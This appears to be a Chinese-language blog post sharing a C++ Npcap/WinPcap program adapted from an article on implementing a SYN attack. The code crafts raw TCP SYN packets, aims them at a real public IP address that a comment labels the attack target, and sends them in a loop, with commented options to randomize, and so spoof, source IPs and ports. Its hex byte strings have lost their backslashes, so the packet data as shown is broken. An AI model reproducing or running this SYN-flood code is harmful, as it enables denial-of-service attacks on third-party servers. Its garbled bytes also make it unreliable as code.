Npcap.例子（raw tcp syn）

1、来自：winpcap实现syn攻击 - 125096 - CSDN博客.html（https://blog.csdn.net/qq125096885/article/details/51784524）

2、我的代码：（代码 用Npcap来跑，基本不用修改）（Win7x64、vs2017、使用 x86编译的Debug版本）

// Npcap_01.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//


#include <iostream>

#pragma warning(disable : 4996)

//int main()
//{
//    std::cout << "Hello World!
"; 
//}

//#define _W64  
//#define HAVE_REMOTE  
#include<stdio.h>  
#include<pcap.h>  
#include<winsock2.h>  
#include <time.h>  
//#include "remote-ext.h"  

#pragma comment(lib,"wpcap.lib")  
#pragma comment(lib,"WS2_32.lib")  


#pragma pack(push,1)  
typedef struct _TCP_SYN
{
    unsigned char DstMAC[6];  // 目的mac地址  
    unsigned char SrcMAC[6];  // 源mac地址  
    unsigned char OtherData[12];
    unsigned short Header_ChechSum; // 校验和  
    unsigned int SrcIP;       // Source IP address  
    unsigned int DstIP;       // Destination IP address  
    unsigned short SrcPort;   // Source IP Port  
    unsigned short DstPort;   // Destination IP Port,一般为80端口，值为0x5000  
    unsigned char Ohters[16];
    unsigned short pak_checksum;
    unsigned char OtherLast[1];
}TCP_SYN, *PTCP_SYN;
#pragma pack(pop)  


unsigned char bufData[] = "x00x25x86x27xd1x22x90x2bx34x60xbdx44x08x00x45x00"
"x00x34x61xdcx40x00x80x06x71x83xc0xa8x01x6ax7axe4"
"xeax6dx0bx0cx00x50xb9xc2xf5x06x00x00x00x00x80x02"
"xffxffx8dx8dx00x00x02x04x05xb4x01x03x03x01x01x01"
"x04x02";


// clac the header's check sum  
unsigned short checksum(unsigned short *buffer, int size)
{
    unsigned long cksum = 0;
    while (size > 1)
    {
        cksum += *buffer++;
        size -= sizeof(unsigned short);
    }
    if (size)
    {
        cksum += *(unsigned char*)buffer;
    }
    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >> 16);
    return  (unsigned short)(~cksum);
}


int main(int argc, char* argv[])
{
    pcap_if_t *alldevs;
    pcap_if_t *seldev;
    pcap_t *fp;
    char errbuf[PCAP_ERRBUF_SIZE];
    srand(time(0));

    /* 获取本机设备列表 */
    if (pcap_findalldevs(&alldevs, errbuf) == -1)
    {
        fprintf(stderr, "Error in pcap_findalldevs: %s
", errbuf);
        exit(1);
    }

    // 找到一个有ip的就当有连网的网卡了  
    for (seldev = alldevs; seldev != NULL; seldev = seldev->next)
    {
        pcap_addr* pcapaddr = NULL;
        for (pcapaddr = seldev->addresses; pcapaddr != NULL; pcapaddr = pcapaddr->next)
        {
            //if (pcapaddr->addr->sa_data[2] != '' && pcapaddr->addr->sa_data[3] != '')
            //{
            //    break;
            //}

            printf("seldev->name : %s
", seldev->name);
            for (int i = 0; i < 14; i++)
                printf("%d ", (UCHAR)pcapaddr->addr->sa_data[i]);
            printf("
");

            //printf("%d, %d
", pcapaddr->addr->sa_data[2], pcapaddr->addr->sa_data[3]);
            if ((UCHAR)pcapaddr->addr->sa_data[2] == 172 && (UCHAR)pcapaddr->addr->sa_data[3] == 16)
            {
                printf("will break;
");
                break;
            }
        }
        if (pcapaddr != NULL)
            break;

        printf("
");
    }
    if (seldev == NULL)
    {
        fprintf(stderr, "Can not find network!
");
        exit(1);
    }

    printf("seldev->name : %d
", seldev->name);
    for (int i = 0; i < 14; i++)
        printf("%d ", (UCHAR)seldev->addresses->addr->sa_data[i]);
    printf("
");

    /* 打开这个输出设备 */
    if ((fp = pcap_open(seldev->name,            // 设备名  
        100,                // 要捕获的部分 (只捕获前100个字节)  
        PCAP_OPENFLAG_PROMISCUOUS,  // 混杂模式  
        1000,               // 读超时时间  
        NULL,               // 远程机器验证  
        errbuf              // 错误缓冲  
    )) == NULL)
    {
        fprintf(stderr, "
Unable to open the adapter. %s is not supported by WinPcap
", alldevs->name);
        return -1;
    }

    // 修改源MAC、IP地址 , 并修改首部校验和  
    PTCP_SYN SynData = (PTCP_SYN)bufData;
    while (1)
    {
        //memcpy(SynData->SrcMAC, "x01x01x01x01x01x01", 6); // 源MAC地址 01:01:01:01:01:01  
        memcpy(SynData->SrcMAC, "x04xd4xc4x59x7ax1c", 6);// 04-D4-C4-59-7A-1C
        memcpy(SynData->DstMAC, "x04xf9x38xa6xd7xcb", 6);//  04-f9-38-a6-d7-cb

        SynData->DstIP = inet_addr("39.156.69.79"); // 攻击的目标  
        SynData->DstPort = htons(80);  // 目标端口80  
        SynData->SrcIP = inet_addr("172.16.19.181");// (unsigned int)rand(); // 源IP地址随机产生  
        SynData->SrcPort = htons(80);// (unsigned short)rand() % 100 + 1024; // 源端口随机产生  

        SynData->Header_ChechSum = 0;
        SynData->Header_ChechSum = checksum((unsigned short*)&bufData[14], 20); // 计算checksum  
//      printf("%d
", SynData->Header_ChechSum);  

        /* 发送数据包 */
        // (wireshark 黑底红字为 校验和错误 的包).  
        if (pcap_sendpacket(fp, bufData, sizeof(bufData) - 1) != 0)
        {
            fprintf(stderr, "
Error sending the packet: 
", pcap_geterr(fp));
            return -1;
        }

        system("pause");
        //break;
    }

    /* 释放设备列表 */
    pcap_freealldevs(alldevs);
    return 0;
}

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